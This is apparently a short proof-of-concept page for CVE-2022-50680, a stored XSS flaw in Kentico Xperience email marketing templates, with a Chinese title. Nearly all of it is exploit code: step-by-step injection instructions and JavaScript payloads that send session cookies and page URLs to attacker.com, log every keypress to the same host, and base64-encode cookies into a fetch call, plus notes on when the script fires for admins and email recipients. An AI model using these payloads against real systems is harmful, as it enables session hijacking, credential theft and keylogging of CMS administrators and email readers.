CVE-2022-50680: Kentico Xperience 邮件营销模板存储型XSS漏洞

// CVE-2022-50680 Stored XSS PoC for Kentico Xperience // Target: Kentico Xperience Email Marketing Templates // Step 1: Login as admin user to Kentico Xperience CMS // Step 2: Navigate to Email Marketing -> Templates // Step 3: Create or Edit a template and inject the following payload: const xssPayload = ` <script> // Steal cookies and session data document.write('<img src="https://attacker.com/log?c=' + encodeURIComponent(document.cookie + '|URL:' + location.href) + '"/>'); // Keylogger example document.addEventListener('keypress', function(e) { new Image().src = 'https://attacker.com/keys?k=' + e.key; }); </script> `; // Alternative payload using event handlers: const altPayload = ` <img src=x onerror="fetch('https://attacker.com/steal?data=' + btoa(document.cookie))"> `; // The injected script will execute when: // - Admin views the template list // - Users preview the email // - Emails are sent using the template console.log('PoC payload prepared for CVE-2022-50680');